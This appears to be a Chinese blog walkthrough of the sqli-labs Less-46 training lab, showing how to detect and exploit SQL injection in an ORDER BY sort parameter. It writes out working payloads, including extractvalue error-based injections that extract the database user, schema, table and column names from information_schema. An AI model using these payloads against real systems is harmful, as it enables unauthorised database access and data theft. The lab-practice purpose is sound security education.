sql-lib之order by 注入


前言:


如何判断是否存在order by之后的注入?
在参数后面加个asc(结果升序显示)、desc(结果降序显示)来观察其顺序是否改变就行了。顺序改变了,所以存在注入。
在这里插入图片描述在这里插入图片描述接下来我们进行正式注入:
一、
首先我们判断order by后面接的参数有没有影响,尝试注入:left(version(),1)和right(version(),1),发现结果没影响,说明后面参数随意。这里我们解释一下这两个函数:
1)
left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
left(str,length);
left()函数接受两个参数:
str是要提取子字符串的字符串。
length是一个正整数,指定将从左边返回的字符数。
2)
right函数与left一样在这里就不多说了。
二、
参数没有影响之后,我们进行注入
1)直接在sort的参数里注入:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select username from users )--+
在注入的时候我们出现了这种情况,我们发现回显的信息是有限制的。也就是说我们在查询其他信息的时候可能查询不到。
在这里插入图片描述
我们换用一下方式:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select username from users limit 0,1)--+
在这里插入图片描述因为我们有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。

http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select user()),0x3a)))–+

在这里插入图片描述二、
找关键数据库,由于回显示的信息不能太多所以我们只能运用limit
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select schema_name from information_schema.schemata limit 1,1),0x3a)))–+
在这里插入图片描述找关键的表
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables limit 1,1),0x3a)))–+
在这里插入图片描述找关键的列
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select column_name from information_schema.columns limit 1,1),0x3a)))–+
在这里插入图片描述至此,注入结束。

猜你喜欢

转载自blog.csdn.net/weixin_43803070/article/details/89928281